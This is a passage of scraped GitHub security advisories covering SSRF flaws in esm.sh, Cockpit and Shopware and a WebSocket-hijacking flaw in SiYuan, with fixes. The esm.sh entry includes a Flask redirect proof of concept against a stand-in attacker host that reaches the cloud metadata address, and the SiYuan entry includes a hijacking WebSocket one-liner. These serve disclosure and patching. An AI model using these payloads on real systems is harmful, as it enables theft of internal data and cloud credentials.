  "modified": "2025-06-17T21:32:03Z",
  "published": "2025-06-10T18:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44043"
    },
    {
      "type": "WEB",
      "url": "https://keyoti.com/products/search/dotNetWeb/HtmlHelp9/?topic=UserGuide/Release%20Notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.sprocketsecurity.com/blog/cve-alert-cve-2025-44043-cve-2025-44044-the-search-bar-hacks-arent-dead-yet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3C9R-837R-QQM4

Vulnerability from github – Published: 2026-02-25 15:19 – Updated: 2026-02-27 20:56
VLAI
Summary
esm.sh is vulnerable to full-response SSRF
Details

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/test.md')
def redirect_test():
    return redirect("http://169.254.169.254/v1.json", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

var t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p>
`,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13

https://github.com/doyensec/safeurl

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T15:19:41Z",
    "nvd_published_at": "2026-02-25T16:23:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/test.md\u0027)\ndef redirect_test():\n    return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`\u003cp\u003e\u0026lbrace;\u0026quot;bgp\u0026quot;:\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;\u0026rbrace;,\u0026quot;hostname\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instance-v2-id\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instanceid\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;interfaces\u0026quot;:[\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;gateway\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;netmask\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;routes\u0026quot;:[\u0026lbrace;\u0026quot;netmask\u0026quot;:32,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;\u0026rbrace;]\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;prefix\u0026quot;:\u0026quot;64\u0026quot;\u0026rbrace;,\u0026quot;mac\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network-type\u0026quot;:\u0026quot;public\u0026quot;\u0026rbrace;],\u0026quot;nvidia-driver\u0026quot;:[],\u0026quot;public-keys\u0026quot;:[\u0026quot;****\u0026quot;],\u0026quot;region\u0026quot;:\u0026lbrace;\u0026quot;countrycode\u0026quot;:\u0026quot;US\u0026quot;,\u0026quot;regioncode\u0026quot;:\u0026quot;SJC\u0026quot;\u0026rbrace;,\u0026quot;tags\u0026quot;:[]\u0026rbrace;\u003c/p\u003e\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl",
  "id": "GHSA-3c9r-837r-qqm4",
  "modified": "2026-02-27T20:56:15Z",
  "published": "2026-02-25T15:19:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh is vulnerable to full-response SSRF"
}

GHSA-3CC2-H3V6-RQPQ

Vulnerability from github – Published: 2026-10-02 22:46 – Updated: 2026-10-02 22:46
VLAI
Summary
SiYuan: Cross-Site WebSocket Hijacking on the admin-only network proxy endpoint (`/ws/network/proxy`) via explicit `CheckOrigin: true` bypass
Details

High

Package

gomod github.com/siyuan-note/siyuan/kernel

Affected versions

3.7.3

Patched versions

(none yet — leave blank until a fix is released)

Description

Summary

/ws/network/proxy is an admin-only WebSocket forward-proxy endpoint (target URL and headers fully attacker-specifiable via query parameters). Its websocket.Upgrader explicitly overrides CheckOrigin to unconditionally return true — disabling the origin validation that the gorilla/websocket library otherwise enforces by default. WebSocket handshake requests are not subject to CORS preflight at all (unlike fetch/XHR), so origin validation for WebSocket endpoints has to be done deliberately by the server; here it has been deliberately turned off instead. Combined with the endpoint's own query-parameter-driven proxy target, this is a textbook Cross-Site WebSocket Hijacking (CSWSH) primitive on a capability that amounts to an authenticated network pivot through the SiYuan kernel process.

Details

// kernel/api/network.go:501
upgrader := websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool { return true },
}
clientConn, upgradeErr := upgrader.Upgrade(c.Writer, c.Request, upgradeHeaders)

Route registration (admin-role-gated):

// kernel/api/router.go:614
ginServer.Handle("GET", "/ws/network/proxy", model.CheckAuth, model.CheckAdminRole, wsProxy)

The proxy target is fully attacker-controllable via query parameters, decoded and dialed directly:

// kernel/api/network.go:348
func parseForwardProxyParams(c *gin.Context) (parsedURL *url.URL, headers *http.Header, timeout time.Duration, err error) {
    uParam := c.Query("u")
    ...
    uBytes, decErr := base64.RawURLEncoding.DecodeString(uParam)
    ...
    parsedURL, err = url.ParseRequestURI(string(uBytes))
    ...
    hParam := c.Query("h")   // optional forwarded headers, also base64-encoded

A malicious webpage can construct, entirely from JavaScript with no special access:

new WebSocket("ws://127.0.0.1:6806/ws/network/proxy?u=" + base64url(attackerChosenTargetURL));

WebSocket handshake requests are GET requests carrying ambient cookies exactly like any other cross-site navigation, and are not covered by CORS preflight protections at all, this is a distinct attack surface from ordinary fetch/XHR-based CSRF, and easy to overlook precisely because the usual CORS mental model doesn't apply to it. Whether this is currently exploitable in a given browser depends on the same session-cookie SameSite configuration already covered by a separate report on this repository (no explicit SameSite is set on the session cookie), but even where that provides incidental protection today, the explicit CheckOrigin: func(r *http.Request) bool { return true } override removes a defense-in-depth layer that would otherwise exist automatically from the WebSocket library's own safe default, and is worth fixing independently of the cookie-attribute question.

Impact

If reachable (dependent on browser/cookie-attribute behavior at time of exploitation, as above), a malicious website visited by a user with an active, admin-privileged SiYuan session could open a WebSocket connection to this endpoint and direct the SiYuan kernel process to proxy arbitrary network traffic to an attacker-chosen target, effectively an authenticated SSRF/network-pivot primitive, using the victim's own machine and any network position it has (e.g., internal/localhost-only services on the victim's LAN that aren't reachable from the public internet), entirely via a drive-by visit to an unrelated website while SiYuan happens to be running.

PoC

No live browser PoC was run for this report, this is a code-level confirmation that the CheckOrigin override exists and unconditionally returns true, combined with tracing the fully attacker-controlled proxy-target construction. I also checked whether the other WebSocket-adjacent endpoints (/ws/plugin/rpc, /ws/broadcast) share this issue: they use a different WebSocket library (gws, not gorilla/websocket) with a different upgrade code path I have not independently verified for its own origin-checking defaults, flagging this as worth a follow-up check by your team rather than claiming it applies there too.

## Affected products

| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | `<= 3.7.3` (confirmed present in 3.7.3; maintainers should confirm lower bound) |
| Patched versions | *(none yet — leave blank until a fix is released)* |

## Severity

| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:N/A:N` |
| Score | **5.5 (Medium)**, reflecting that real-world exploitability depends on the co-occurring session-cookie `SameSite` question (also separately reported) and requires a victim with an active admin session to visit an attacker-controlled page (`AC:H`, `UI:R`); I'd expect this to be scored higher by your team if you determine the cookie/browser-behavior precondition is reliably met, since the underlying capability (network pivot through the kernel process) is significant. |

## Weaknesses (CWE)

- **CWE-346** — Origin Validation Error (primary — this is the textbook CWE for CSWSH)
- **CWE-352** — Cross-Site Request Forgery (the broader category this specific WebSocket variant falls under)
- **CWE-918** — Server-Side Request Forgery (secondary — the resulting capability once a connection is hijacked)
-

Suggested Fix

Replace CheckOrigin: func(r *http.Request) bool { return true } with a real check — validate the Origin header against the expected local/loopback origin (or the configured workspace's own address), mirroring how IsLoopbackCallback-style validation is already done correctly elsewhere in this codebase (e.g. the MCP OAuth client's loopback-callback check). Also worth auditing the gws-based WebSocket endpoints (/ws/plugin/rpc, /ws/broadcast) for their own origin-validation defaults, since I did not verify those independently.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260803045322-cb67e0b4fab5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-74802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-352",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:46:18Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "**High**\n\n## Package\ngomod `github.com/siyuan-note/siyuan/kernel`\n\n## Affected versions\n3.7.3\n\n## Patched versions\n*(none yet \u2014 leave blank until a fix is released)*\n\n## Description\n\n### Summary\n`/ws/network/proxy` is an admin-only WebSocket forward-proxy endpoint (target URL and headers fully attacker-specifiable via query parameters). Its `websocket.Upgrader` explicitly overrides `CheckOrigin` to unconditionally return `true` \u2014 disabling the origin validation that the `gorilla/websocket` library otherwise enforces **by default**. WebSocket handshake requests are not subject to CORS preflight at all (unlike `fetch`/XHR), so origin validation for WebSocket endpoints has to be done deliberately by the server; here it has been deliberately turned *off* instead. Combined with the endpoint\u0027s own query-parameter-driven proxy target, this is a textbook Cross-Site WebSocket Hijacking (CSWSH) primitive on a capability that amounts to an authenticated network pivot through the SiYuan kernel process.\n\n### Details\n\n```go\n// kernel/api/network.go:501\nupgrader := websocket.Upgrader{\n    CheckOrigin: func(r *http.Request) bool { return true },\n}\nclientConn, upgradeErr := upgrader.Upgrade(c.Writer, c.Request, upgradeHeaders)\n```\n\nRoute registration (admin-role-gated):\n```go\n// kernel/api/router.go:614\nginServer.Handle(\"GET\", \"/ws/network/proxy\", model.CheckAuth, model.CheckAdminRole, wsProxy)\n```\n\nThe proxy target is fully attacker-controllable via query parameters, decoded and dialed directly:\n```go\n// kernel/api/network.go:348\nfunc parseForwardProxyParams(c *gin.Context) (parsedURL *url.URL, headers *http.Header, timeout time.Duration, err error) {\n    uParam := c.Query(\"u\")\n    ...\n    uBytes, decErr := base64.RawURLEncoding.DecodeString(uParam)\n    ...\n    parsedURL, err = url.ParseRequestURI(string(uBytes))\n    ...\n    hParam := c.Query(\"h\")   // optional forwarded headers, also base64-encoded\n```\n\nA malicious webpage can construct, entirely from JavaScript with no special access:\n```js\nnew WebSocket(\"ws://127.0.0.1:6806/ws/network/proxy?u=\" + base64url(attackerChosenTargetURL));\n```\nWebSocket handshake requests are GET requests carrying ambient cookies exactly like any other cross-site navigation, and are not covered by CORS preflight protections at all, this is a distinct attack surface from ordinary `fetch`/XHR-based CSRF, and easy to overlook precisely because the usual CORS mental model doesn\u0027t apply to it. Whether this is currently exploitable in a given browser depends on the same session-cookie `SameSite` configuration already covered by a separate report on this repository (no explicit `SameSite` is set on the session cookie), but even where that provides incidental protection today, the explicit `CheckOrigin: func(r *http.Request) bool { return true }` override removes a defense-in-depth layer that would otherwise exist automatically from the WebSocket library\u0027s own safe default, and is worth fixing independently of the cookie-attribute question.\n\n### Impact\nIf reachable (dependent on browser/cookie-attribute behavior at time of exploitation, as above), a malicious website visited by a user with an active, admin-privileged SiYuan session could open a WebSocket connection to this endpoint and direct the SiYuan kernel process to proxy arbitrary network traffic to an attacker-chosen target, effectively an authenticated SSRF/network-pivot primitive, using the victim\u0027s own machine and any network position it has (e.g., internal/localhost-only services on the victim\u0027s LAN that aren\u0027t reachable from the public internet), entirely via a drive-by visit to an unrelated website while SiYuan happens to be running.\n\n### PoC\nNo live browser PoC was run for this report, this is a code-level confirmation that the `CheckOrigin` override exists and unconditionally returns `true`, combined with tracing the fully attacker-controlled proxy-target construction. I also checked whether the other WebSocket-adjacent endpoints (`/ws/plugin/rpc`, `/ws/broadcast`) share this issue: they use a different WebSocket library (`gws`, not `gorilla/websocket`) with a different upgrade code path I have not independently verified for its own origin-checking defaults, flagging this as worth a follow-up check by your team rather than claiming it applies there too.\n\n```\n## Affected products\n\n| Field | Value |\n|---|---|\n| Ecosystem | **Go** |\n| Package name | `github.com/siyuan-note/siyuan/kernel` |\n| Affected versions | `\u003c= 3.7.3` (confirmed present in 3.7.3; maintainers should confirm lower bound) |\n| Patched versions | *(none yet \u2014 leave blank until a fix is released)* |\n\n## Severity\n\n| Field | Value |\n|---|---|\n| Vector string | `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:N/A:N` |\n| Score | **5.5 (Medium)**, reflecting that real-world exploitability depends on the co-occurring session-cookie `SameSite` question (also separately reported) and requires a victim with an active admin session to visit an attacker-controlled page (`AC:H`, `UI:R`); I\u0027d expect this to be scored higher by your team if you determine the cookie/browser-behavior precondition is reliably met, since the underlying capability (network pivot through the kernel process) is significant. |\n\n## Weaknesses (CWE)\n\n- **CWE-346** \u2014 Origin Validation Error (primary \u2014 this is the textbook CWE for CSWSH)\n- **CWE-352** \u2014 Cross-Site Request Forgery (the broader category this specific WebSocket variant falls under)\n- **CWE-918** \u2014 Server-Side Request Forgery (secondary \u2014 the resulting capability once a connection is hijacked)\n-\n```\n\n## Suggested Fix\nReplace `CheckOrigin: func(r *http.Request) bool { return true }` with a real check \u2014 validate the `Origin` header against the expected local/loopback origin (or the configured workspace\u0027s own address), mirroring how `IsLoopbackCallback`-style validation is already done correctly elsewhere in this codebase (e.g. the MCP OAuth client\u0027s loopback-callback check). Also worth auditing the `gws`-based WebSocket endpoints (`/ws/plugin/rpc`, `/ws/broadcast`) for their own origin-validation defaults, since I did not verify those independently.",
  "id": "GHSA-3cc2-h3v6-rqpq",
  "modified": "2026-10-02T22:46:18Z",
  "published": "2026-10-02T22:46:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-3cc2-h3v6-rqpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/cb67e0b4fab57c9c5f458c1fd0df5ecf4417b696"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.8.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-cross-site-websocket-hijacking-via-network-proxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Cross-Site WebSocket Hijacking on the admin-only network proxy endpoint (`/ws/network/proxy`) via explicit `CheckOrigin: true` bypass"
}

GHSA-3CG3-VQJF-X53X

Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20
VLAI
Details

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-9302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-02T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.",
  "id": "GHSA-3cg3-vqjf-x53x",
  "modified": "2022-05-14T03:20:03Z",
  "published": "2022-05-14T03:20:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9302"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44567"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/May/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3CPP-FV95-MPR5

Vulnerability from github – Published: 2025-10-21 18:02 – Updated: 2025-10-21 18:02
VLAI
Summary
Shopware vulnerable to Server-Side Request Forgery (SSRF) – order invoice
Details

Impact

This vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.

The overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.

Description

Server-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the organization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.

Applicability

The PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF) vulnerability. Administrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers. To exploit this vulnerability, an admin account is required.

Reproduction

To reproduce this vulnerability, the steps below can be followed. 1. Log in as an admin and navigate to the following URL: https://.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25&page=1&term=&sortBy&sortDirection=ASC&naturalSorting=false 2. Click the button ‘Create document’ and create a ‘Partial cancellation’ document. 3. As a comment add the following code:

<img src="<malicious image link>" width="250" height="100"/>
  1. Press the preview button to view the PFD.
  2. Observe that the image is shown in the PDF.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T18:02:52Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nThis vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.\n\nThe overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.\n\n#### Description\nServer-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the\norganization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.\n\n#### Applicability \nThe PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF)\nvulnerability.\nAdministrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers.\nTo exploit this vulnerability, an admin account is required.\n\n#### Reproduction\nTo reproduce this vulnerability, the steps below can be followed.\n1. Log in as an admin and navigate to the following URL:\nhttps://\u003cyour-site\u003e.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25\u0026page=1\u0026term=\u0026sortBy\u0026sortDirection=ASC\u0026naturalSorting=false\n2. Click the button \u2018Create document\u2019 and create a \u2018Partial cancellation\u2019 document.\n3. As a comment add the following code:\n```\n\u003cimg src=\"\u003cmalicious image link\u003e\" width=\"250\" height=\"100\"/\u003e\n```\n4. Press the preview button to view the PFD.\n5. Observe that the image is shown in the PDF.",
  "id": "GHSA-3cpp-fv95-mpr5",
  "modified": "2025-10-21T18:02:52Z",
  "published": "2025-10-21T18:02:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-3cpp-fv95-mpr5"
    },
    {
      "type": "WEB",
